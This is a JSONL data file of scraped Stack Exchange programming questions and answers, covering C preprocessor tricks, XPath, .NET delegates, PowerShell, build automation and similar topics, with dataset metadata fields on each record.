ANTLR allows semantic predicates in the parser, so you could make a date field that checks the values like this:\n```\n```\ndate: month=INT '/' day=INT ( year='/' INT )? { year==null ? (/* First check /*) : (/* Second check */)}\n```\n```\nWhen you do this, however, you are embedding language specific code in your grammar, and it won't be portable across targets.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.205490"}
{"id": "hf_34cd9f75d9ca", "question": "<p>The following snippet is supposed to take the value of PROJECT (defined in the Makefile)\nand create an include file name. For example, if PROJECT=classifier, then it should at the end generate classifier_ir.h for PROJECTINCSTR</p>\n\n<p>I find that this code works as long as I am not trying to use an underscore in the suffix. However the use of the underscore is not optional - our code base uses them everywhere. I can work around this because there are a limited number of values for PROJECT but I would like to know how to make the following snippet actually work, with the underscore. Can it be escaped?</p>\n\n<pre><code>#define PROJECT classifier\n\n#define QMAKESTR(x) #x\n#define MAKESTR(x) QMAKESTR(x)\n#define MAKEINC(x) x ## _ir.h\n#define PROJECTINC MAKEINC(PROJECT)\n#define PROJECTINCSTR MAKESTR(PROJECTINC)\n\n#include PROJECTINCSTR\n</code></pre>\n\n<p>Edit: The compiler should try to include classifier_ir.h, not PROJECT_ir.h.</p>\n", "question_body": "", "answer": "That barebone example works with gcc (v4.1.2) and tries to include \"PROJECT_ir.h\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.239644"}
{"id": "hf_684da87d291f", "question": "<p>This must be a classic .NET question for anyone migrating from Java.  </p>\n\n<p>.NET does not seem to have a direct equivalent to java.io.StreamTokenizer, however the JLCA provides a SupportClass that attempts to implement it.  I believe the JLCA also provides a Tokenizer SupportClass that takes a String as the source, which I thought a StreamTokenizer would be derived from, but isn't.</p>\n\n<p><strike>What is the <em>preferred</em> way to Tokenize both a Stream and a String? or is there one?</strike> How are streams tokenized in .Net?  I'd like to have the flexibility that java.io.StreamTokenizer provides.  Any thoughts?</p>\n", "question_body": "", "answer": "To tokenize a string, use\n```\nstring.Split(...)\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.273723"}
{"id": "hf_b709fb0b7ad9", "question": "<p>I have been used to working with VS2005 and 2008 - using msbuild, etc, but I have inherited a set of projects that have to remain in vc6.0 for now.  I don't like opening each project in the developer studio and building.  I prefer to build form command line (I am automating the builds).  Is this possible?</p>\n\n<p>I have tried the nmake utility, but I still need to open up the projects and save/export the make file.  This is tedious if the project changes - each time I have to save the make file.  nmake seems to work, but it had a problem when I changed the location of the project in my directory tree (I checked out of svn into a new clean dir to try the build).  It seemed to have hard coded paths in it, but I will have to check on that - it might have been a different problem.</p>\n\n<p>Any alternatives out there?</p>\n\n<p>Eventually I will migrate these to 2008, but for now that is not an option.</p>\n", "question_body": "", "answer": "We use automated builds at my work place. Essentially just a batch file i fire off from the command line. Let me make sure i am allowed to post some sample code before i go ahead and post it. But yes, it IS possible to automate the build.\nSample Code:\n:::::::: CompileSolution :::::::::::::::::::::::::\ncall X:\\BuildTools\\bin\\BuildVbProj.bat\n%COMPONENTNAME% %SOLUTIONDIR%\n%PROJFILE% %BUILDOUTPUTFILE%\n%PREBUILDFILE% if %ERRORLEVEL% NEQ 0\ngoto BuildErrors\ngoto Cleanup\nEDIT:\nThe BuildVbProj.bat file ultimately calls VB6.exe in the Program Files\\MS Visual Studio\\VB98\\ folder. Try calling it with \"VB6.exe /?\" or \"VB6.exe -?\" and it will show you a list of options. You can basically automate your process using those options.\nThere should be a similar exe for VC in the VC98 folder as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.296872"}
{"id": "hf_f3620caa70b1", "question": "<p>What are the alternative \"design methods\" to the Model View Controller? MVC seems to be popular (SO was built with it, I know that much) but is it the only method used?</p>\n", "question_body": "", "answer": "There are many others:\nModel View Presenter (MVP)\nSupervising Controller\nPassive View\nModel View ViewModel (MVVM)\nThis is common in WPF applications (though\nPrism\nuses the MVP pattern (usually))", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.319471"}
{"id": "hf_f7607a18cade", "question": "<p>I'm parsing XML results from an API call using PHP and xpath.  </p>\n\n<pre><code> $dom = new DOMDocument();\n $dom-&gt;loadXML($response-&gt;getBody());\n\n $xpath = new DOMXPath($dom);\n $xpath-&gt;registerNamespace(\"a\", \"http://www.example.com\");\n\n $hrefs = $xpath-&gt;query('//a:Books/text()', $dom);\n\n for ($i = 0; $i &lt; $hrefs-&gt;length; $i++) {\n      $arrBookTitle[$i] = $hrefs-&gt;item($i)-&gt;data;\n }\n\n $hrefs = $xpath-&gt;query('//a:Books', $dom);\n\n for ($i = 0; $i &lt; $hrefs-&gt;length; $i++) {\n      $arrBookDewey[$i] = $hrefs-&gt;item($i)-&gt;getAttribute('DeweyDecimal');\n }\n</code></pre>\n\n<p>This works but is there a way I can access both the text and the attribute from one query?  And if so how do you get to those items once query is executed?</p>\n", "question_body": "", "answer": "Could you query for the concatenation?\n```\n```\n$xpath->query('concat(//a:Books/text(), //a:Books/@DeweyDecimal)', $dom);\n```\n```\nXSLT is an expression language in itself, and you can construct whatever specific format of return value you want from within the expression.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.342755"}
{"id": "hf_aa14ba66ff7f", "question": "<p>I'm building a shared library with g++ 3.3.4. I cannot link to the library because I am getting </p>\n\n<pre><code>./BcdFile.RHEL70.so: undefined symbol: _ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE13insert_uniqueERKj\n</code></pre>\n\n<p>Which c++filt describes as </p>\n\n<pre><code>std::_Rb_tree&lt;unsigned int, unsigned int, std::_Identity&lt;unsigned int&gt;, std::less&lt;unsigned int&gt;, std::allocator&lt;unsigned int&gt; &gt;::insert_unique(unsigned int const&amp;)\n</code></pre>\n\n<p>I thought this might have come from using hash_map, but I've taken that all out and switched to regular std::map. I am using g++ to do the linking, which is including <code>-lstdc++</code>.</p>\n\n<p>Does anyone know what class would be instantiating this template? Or even better, which library I need to be linking to?</p>\n\n<p><em>EDIT:</em> After further review, it appears adding the -frepo flag when compiling has caused this, unfortunately that flag is working around gcc3.3 bug.</p>\n", "question_body": "", "answer": "```\nstd::_Rb_Tree\n```\nmight be a red-black tree, which would most likely be from using\n```\nmap\n```\n. It should be part of\n```\nlibstdc++\n```\n, unless your library is linking against a different version of\n```\nlibstdc++\n```\nthan the application, which from what you've said so far seems unlikely.\nEDIT: Just to clarify, the red-black tree is the underlying data structure in\n```\nmap\n```\n. All that\n```\nhash_map\n```\ndoes is hash the key before using it, rather than using the raw value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.366325"}
{"id": "hf_e8b2d9b9eb19", "question": "<p>Is there a way to get the key (or id) value of a db.ReferenceProperty, without dereferencing the actual entity it points to?  I have been digging around - it looks like the key is stored as the property name preceeded with an _, but I have been unable to get any code working.  Examples would be much appreciated.  Thanks.</p>\n\n<p>EDIT:  Here is what I have unsuccessfully tried:</p>\n\n<pre><code>class Comment(db.Model):\n    series = db.ReferenceProperty(reference_class=Series);\n\n    def series_id(self):\n        return self._series\n</code></pre>\n\n<p>And in my template:</p>\n\n<pre><code>&lt;a href=\"games/view-series.html?series={{comment.series_id}}#comm{{comment.key.id}}\"&gt;more&lt;/a&gt;\n</code></pre>\n\n<p>The result:</p>\n\n<pre><code>&lt;a href=\"games/view-series.html?series=#comm59\"&gt;more&lt;/a&gt;\n</code></pre>\n", "question_body": "", "answer": "You're correct - the key is stored as the property name prefixed with '_'. You should just be able to access it directly on the model object. Can you demonstrate what you're trying? I've used this technique in the past with no problems.\nEdit: Have you tried calling series_id() directly, or referencing _series in your template directly? I'm not sure whether Django automatically calls methods with no arguments if you specify them in this context. You could also try putting the @property decorator on the method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.413878"}
{"id": "hf_ecf38411c8c5", "question": "<p>How do the full text search systems of PostgreSQL and MySQL compare? Is any clearly better than the oder? In which way are they different?</p>\n", "question_body": "", "answer": "Update:\nStarting in MySQL 5.6, InnoDB\nsupports fulltext search\nI'm not well versed in PostgreSQL unfortunately, but if you use the FULL TEXT search in MySQL you're immediately tied to MyISAM. If you want to use InnoDB (and if ACID compliance means anything to you, you should be using InnoDB) you're stuck using other solutions.\nTwo popular alternatives that are often rolled out are\nLucene\n(an apache project with a Zend module if you're using PHP) and\nSphinx\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.437759"}
{"id": "hf_742dc1254077", "question": "<p>Say I have the following XML...</p>\n\n<pre><code>&lt;root&gt;\n  &lt;base&gt;\n    &lt;tent key=\"1\" color=\"red\"/&gt;\n    &lt;tent key=\"2\" color=\"yellow\"/&gt;\n    &lt;tent key=\"3\" color=\"blue\"/&gt;\n  &lt;/base&gt;\n  &lt;bucket&gt;\n    &lt;tent key=\"1\"/&gt;\n    &lt;tent key=\"3\"/&gt;\n  &lt;/bucket&gt;\n&lt;/root&gt;\n</code></pre>\n\n<p>...what would the XPath be that returns that the \"bucket\" contains \"red\" and \"blue\"?</p>\n", "question_body": "", "answer": "I think this will work:\n```\n```\n/root/base/tent[/root/bucket/tent/@key = @key ]/@color\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.532277"}
{"id": "hf_f1745cb50884", "question": "<p>I'm looking for a piece of code that can tell me the offset of a field within a structure without allocating an instance of the structure.</p>\n\n<p>IE: given</p>\n\n<pre><code>struct mstct {\n    int myfield;\n    int myfield2;\n};\n</code></pre>\n\n<p>I could write:</p>\n\n<pre><code>mstct thing;\nprintf(\"offset %lu\\n\", (unsigned long)(&amp;thing.myfield2 - &amp;thing));\n</code></pre>\n\n<p>And get <code>offset 4</code> for the output. How can I do it without that <code>mstct thing</code> declaration/allocating one?</p>\n\n<p>I know that <code>&amp;&lt;struct&gt;</code> does not always point at the first byte of the first field of the structure, I can account for that later.</p>\n", "question_body": "", "answer": "How about the standard offsetof() macro (in stddef.h)?\nEdit: for people who might not have the offsetof() macro available for some reason, you can get the effect using something like:\n```\n```\n#define OFFSETOF(type, field)    ((unsigned long) &(((type *) 0)->field))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.565314"}
{"id": "hf_f8a7a1e315ac", "question": "<p>I am looking for an app that will let me type in code ON my cellphone. I don't need to compile or anything, and its not to program for the cellphone. Just something nice to have when an idea pops in my head.</p>\n\n<p>Am I completely overlooking a simple code editor for Symbian S60v3 phones? </p>\n\n<p>I am looking for something similar to <a href=\"http://www.logicalsky.com/Product_CEdit.php\" rel=\"nofollow noreferrer\">CEdit</a> which is for Windows Mobile. </p>\n", "question_body": "", "answer": "You can use visual studio :\nhttp://wiki.forum.nokia.com/index.php/Using_Visual_Studio_6.0_with_S60_3rd_Edition", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.665804"}
{"id": "hf_9b61c43d47ed", "question": "<p>I'm looking to create an ValidationRule class that validates properties on an entity type object.  I'd really like to set the name of the property to inspect, and then give the class a delegate or a lambda expression that will be evaluated at runtime when the object runs its IsValid() method.  Does anyone have a snippet of something like this, or any ideas on how to pass an anonymous method as an argument or property?</p>\n\n<p>Also, I'm not sure if I'm explaining what I'm trying to accomplish so please ask questions if I'm not being clear.</p>\n", "question_body": "", "answer": "```\n```\nclass ValidationRule {\n    public delegate bool Validator();\n\n    private Validator _v;\n\n    public ValidationRule(Validator v) { _v = v; }\n\n    public Validator Validator {\n        get { return _v; }\n        set { _v = value; }\n    }\n\n    public bool IsValid { get { return _v(); } }\n}\n\nvar alwaysPasses = new ValidationRule(() => true);\nvar alwaysFails = new ValidationRule(() => false);\n\nvar textBoxHasText = new ValidationRule(() => textBox1.Text.Length > 0);\n```\n```\nThat should get you started. But, really, inheritance is far more appropriate here. The problem is simply that the\n```\nValidator\n```\ndoesn't have access to any state that it doesn't close over, this means that it isn't as reusable as say\n```\nValidationRules\n```\nthat contain their own state. Compare the following class to the previous definition of\n```\ntextBoxHasText\n```\n.\n```\n```\ninterface IValidationRule {\n    bool IsValid { get; }\n}\n\nclass BoxHasText : IValidationRule {\n    TextBox _c;\n\n    public BoxHasText(TextBox c) { _c = c; }\n\n    public bool IsValid {\n        get { return _c.Text.Length > 0; }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.699381"}
{"id": "hf_acb6ac8242ee", "question": "<p>Basically I want to know how to set center alignment for a cell using VBScript...</p>\n\n<p>I've been googling it and can't seem to find anything that helps.</p>\n", "question_body": "", "answer": "There are many ways to select a cell or a range of cells, but the following will work for a single cell.\n```\n```\n'Select a Cell Range\nRange(\"D4\").Select\n\n'Set the horizontal and vertical alignment\nWith Selection\n    .HorizontalAlignment = xlCenter\n    .VerticalAlignment = xlBottom\nEnd With\n```\n```\nThe HorizontalAlignment options are xlLeft, xlRight, and xlCenter", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.731526"}
{"id": "hf_e1aba2184b81", "question": "<p>Is there a query in SQL Server 2005 I can use to get the server's IP or name?</p>\n", "question_body": "", "answer": "```\n```\nselect @@servername\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.781095"}
{"id": "hf_5e2e332dd69e", "question": "<p>I'm an experienced programmer but just starting out with Flash/Actionscript. I'm working on a project that for certain reasons requires me to use Actionscript 2 rather than 3.</p>\n\n<p>When I run the following (I just put it in frame one of a new flash project), the output is a 3 rather than a 1 ? I need it to be a 1.</p>\n\n<p>Why does the scope of the 'ii' variable continue between loops?</p>\n\n<pre><code>var fs:Array = new Array();\n\nfor (var i = 0; i &lt; 3; i++){\n\n    var ii = i + 1; \n    fs[i] = function(){\n        trace(ii);\n    }\n}\n\nfs[0]();\n</code></pre>\n", "question_body": "", "answer": "Unfortunately Actionscript 2.0 does not have a strong scope... especially on the time line.\n```\n```\nvar fs:Array = new Array();\n\nfor (var i = 0; i < 3; i++){\n\n    var ii = i + 1;     \n    fs[i] = function(){\n        trace(ii);\n    }\n}\n\nfs[0]();\ntrace(\"out of scope: \" + ii + \"... but still works\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.802495"}
{"id": "hf_e0249b811e33", "question": "<p>How do I locate resources on the classpath in java? \nSpecifically stuff that ends in .hbm.xml.</p>\n\n<p>My goal is to get a List of all resources on the classpath that end with \".hbm.xml\".</p>\n", "question_body": "", "answer": "You have to get a\nclassloader\n, and test whether it's a URLClassLoader. If so, downcast and\nget its URLs\n. From there, open each as a JarFile and look at its\nentries\n. Apply a\nregex\nto each entry and see if it's one that interests you.\nClearly, this isn't fast. It's best to be given a name to be looked up in the classpath, perhaps listed in a standard file name in the META-INF directory of each classpath element, similar to the technique used by the\nServiceProvider facility\n. Note that you can\nlist all files\nwith a given name on the classpath.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.824148"}
{"id": "hf_0e2f6da138a7", "question": "<p>I wonder if They can work perfectly together...</p>\n", "question_body": "", "answer": "The simple answer is yes - I have both installed on the machine I'm replying to this question from. :=)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.890886"}
{"id": "hf_57dfa31fd023", "question": "<p>This code works (C# 3)</p>\n\n<pre><code>double d;\nif(d == (double)(int)d) ...;\n</code></pre>\n\n<ol>\n<li>Is there a better way to do this?</li>\n<li>For extraneous reasons I want to avoid the double cast so; what nice ways exist other than this? (even if they aren't as good)</li>\n</ol>\n\n<p><em>Note:</em> Several people pointed out the (important) point that == is often problematic regrading floating point. In this cases I expect values in the range of 0 to a few hundred and they are supposed to be integers (non ints are errors) so if those points \"shouldn't\" be an issue for me.</p>\n", "question_body": "", "answer": "You don't need the extra (double) in there. This works:\n```\n```\nif (d == (int)d) {\n //...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.007216"}
{"id": "hf_b411baac9999", "question": "<p>Is there a way to get the C/C++ preprocessor or a template or such to mangle/hash the __FILE__ and __LINE__ and perhaps some other external input like a build-number into a single short number that can be quoted in logs or error messages?</p>\n\n<p>(The intention would be to be able to reverse it (to a list of candidates if its lossy) when needed when a customer quotes it in a bug report.)</p>\n", "question_body": "", "answer": "Well, if you're displaying the message to the user yourself (as opposed to having a crash address or function be displayed by the system), there's nothing to keep you from displaying exactly what you want.\nFor example:\n```\n```\ntypedef union ErrorCode {\n    struct {\n        unsigned int file: 15;\n        unsigned int line: 12; /* Better than 5 bits, still not great\n                                  Thanks commenters!! */\n        unsigned int build: 5;\n    } bits;\n    unsigned int code;\n} ErrorCode;\n\nunsigned int buildErrorCodes(const char *file, int line, int build)\n{\n    ErrorCode code;\n    code.bits.line=line   & ((1<<12) - 1);\n    code.bits.build=build & ((1<< 5) - 1);\n    code.bits.file=some_hash_function(file) & ((1<<15) - 1);\n\n    return code.code;\n}\n```\n```\nYou'd use that as\n```\n```\nbuildErrorCodes(__FILE__, __LINE__, BUILD_CODE)\n```\n```\nand output it in hex.  It wouldn't be very hard to decode...\n(Edited -- the commenters are correct, I must have been nuts to specify 5 bits for the line number.  Modulo 4096, however, lines with error messages aren't likely to collide.  5 bits for build is still fine - modulo 32 means that only 32 builds can be outstanding AND have the error still happen at the same line.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.035514"}
{"id": "hf_729520928187", "question": "<p>If I have a <code>UIView</code> (or <code>UIView</code> subclass) that is visible, how can I tell if it's currently being shown on the screen (as opposed to, for example, being in a section of a scroll view that is currently off-screen)?</p>\n\n<p>To maybe give you a better idea of what I mean, <code>UITableView</code> has a couple of methods for determining the set of currently visible cells. I'm looking for some code that can make a similar determination for any given <code>UIView</code>.</p>\n", "question_body": "", "answer": "Not tried any of this yet. But\n```\nCGRectIntersectsRect()\n```\n,\n```\n-[UIView convertRect:to(from)View]\n```\nand\n```\n-[UIScrollView contentOffset]\n```\nseem to be your basic building blocks here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.071394"}
{"id": "hf_9c30a9f550dc", "question": "<p>I'm looking for books or online resources that go in detail over programming techniques for high performance computing using C++.</p>\n", "question_body": "", "answer": "Take a look at\nThe ADAPTIVE Communication Environment (ACE)\n.  It's a library of templates and objects for high performance applications in C++.  It has great cross-platform primitives for threading, networking, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.135500"}
{"id": "hf_8b96f610e4eb", "question": "<p>What is the most efficient way to get the default constructor (i.e. instance constructor with no parameters) of a System.Type?</p>\n\n<p>I was thinking something along the lines of the code below but it seems like there should be a simplier more efficient way to do it.</p>\n\n<pre><code>Type type = typeof(FooBar)\nBindingFlags flags = BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance;\ntype.GetConstructors(flags)\n    .Where(constructor =&gt; constructor.GetParameters().Length == 0)\n    .First();\n</code></pre>\n", "question_body": "", "answer": "```\n```\ntype.GetConstructor(Type.EmptyTypes)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.183869"}
{"id": "hf_d76ead1540a4", "question": "<p>What are the best JVM settings you have found for running Eclipse?</p>\n", "question_body": "", "answer": "Here's what I use (though I have them in the shortcut instead of the settings file):\neclipse.exe -showlocation -vm \"C:\\Java\\jdk1.6.0_07\\bin\\javaw.exe\" -vmargs -Xms256M -Xmx768M -XX:+UseParallelGC -XX:MaxPermSize=128M", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.208183"}
{"id": "hf_5f0b9420f796", "question": "<p>I have a method lets say:</p>\n\n<pre><code>private static String drawCellValue(\n    int maxCellLength, String cellValue, String align) { }\n</code></pre>\n\n<p>and as you can notice, I have a parameter called align. Inside this method I'm going to have some if condition on whether the value is a 'left' or 'right'.. setting the parameter as String, obviously I can pass any string value.. I would like to know if it's possible to have an Enum value as a method parameter, and if so, how?</p>\n\n<p>Just in case someone thinks about this; I thought about using a Boolean value but I don't really fancy it. First, how to associate true/false with left/right ? (Ok, I can use comments but I still find it dirty) and secondly, I might decide to add a new value, like 'justify', so if I have more than 2 possible values, Boolean type is definitely not possible to use.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "This should do it:\n```\n```\nprivate enum Alignment { LEFT, RIGHT };    \nString drawCellValue (int maxCellLength, String cellValue, Alignment align){\n  if (align == Alignment.LEFT)\n  {\n    //Process it...\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.295827"}
{"id": "hf_259ea9caef93", "question": "<p>I'm setting up a server to offer JIRA and SVN.  I figure, I'll use LDAP to keep the identity management simple.  </p>\n\n<p>So, before I write one....  is there a good app out there to let users change their ldap password?  I want something that lets a user authenticate with ldap and update their password.  A form with username, old password, new password and verification would be enough.  </p>\n\n<p>I can write my own, but it seems silly to do so if there's already a good app out there that handles this....</p>\n\n<p>Thanks for the help.</p>\n", "question_body": "", "answer": "This should do it:\n```\n```\nprivate enum Alignment { LEFT, RIGHT };    \nString drawCellValue (int maxCellLength, String cellValue, Alignment align){\n  if (align == Alignment.LEFT)\n  {\n    //Process it...\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.320156"}
{"id": "hf_cb1e66d380f5", "question": "<p>There are many scenarios where it would be useful to call a Win32 function or some other DLL from a PowerShell script. to Given the following function signature:</p>\n\n<pre><code>bool MyFunction( char* buffer, int* bufferSize )\n</code></pre>\n\n<p>I hear there is something that makes this easier in PowerShell CTP 2, but I'm curious how this is <strong>best done in PowerShell 1.0</strong>. The fact that the function needing to be called  <strong><em>is using pointers</em></strong> could affect the solution (yet I don't really know).</p>\n\n<p>So the question is what's the best way to write a PowerShell script that can call an exported Win32 function like the one above?</p>\n\n<p><strong>Remember for PowerShell 1.0.</strong></p>\n", "question_body": "", "answer": "There isn't any mechanism in PowerShell 1.0 to directly call Win32 API's. You could of course write a C# or VB.NET helper class to do this for you and call that from PowerShell.\nUpdate: Take a look at -\nhttp://blogs.msdn.com/powershell/archive/2006/04/25/583236.aspx\nhttp://www.leeholmes.com/blog/ManagingINIFilesWithPowerShell.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.355687"}
{"id": "hf_754070899ee8", "question": "<p>Is there such a thing as unit test generation? If so...</p>\n\n<p>...does it work well? </p>\n\n<p>...What are the auto generation solutions that are available for .NET?</p>\n\n<p>...are there examples of using a technology like this?</p>\n\n<p>...is this only good for certain types of applications, or could it be used to replace all manually written unit testing?</p>\n", "question_body": "", "answer": "Take a look at\nPex\n. Its a Microsoft Research project. From the website:\nPex generates Unit Tests from hand-written Parameterized Unit Tests through Automated Exploratory Testing based on Dynamic Symbolic Execution.\nUPDATE for 2019:\nAs mentioned in the comments, Pex is now called\nIntelliTest\nand is a feature of Visual Studio Enterprise Edition. It supports emitting tests in MSTest, MSTest V2, NUnit, and xUnit format and it is extensible so you can use it with other unit test frameworks.\nBut be aware of the following caveats:\nSupports only C# code that targets the .NET Framework.\nDoes not support x64 configurations.\nAvailable in Visual Studio\nEnterprise Edition only", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.415051"}
{"id": "hf_5192f8dc8483", "question": "<h3>What are some methods of utilising Eclipse for Dependency Management?</h3>\n", "question_body": "", "answer": "I really like the\nThe Maven Integration for Eclipse (m2eclipse, Eclipse m2e)\n. I use it purely for the dependency management feature. It's great not having to go out and download a bunch of new jars new each time I set up a project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.438609"}
{"id": "hf_d724d545ffbf", "question": "<p>I need my code to do different things based on the operating system on which it gets compiled. I'm looking for something like this:</p>\n\n<pre><code>#ifdef OSisWindows\n// do Windows-specific stuff\n#else\n// do Unix-specific stuff\n#endif\n</code></pre>\n\n<p>Is there a way to do this? Is there a better way to do the same thing?</p>\n", "question_body": "", "answer": "Some compilers will generate #defines that can help you with this. Read the compiler documentation to determine what they are.\nMSVC\ndefines one that's\n```\n__WIN32__\n```\n,\nGCC\nhas some you can see with\n```\ntouch foo.h; gcc -dM foo.h\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:39.478990"}
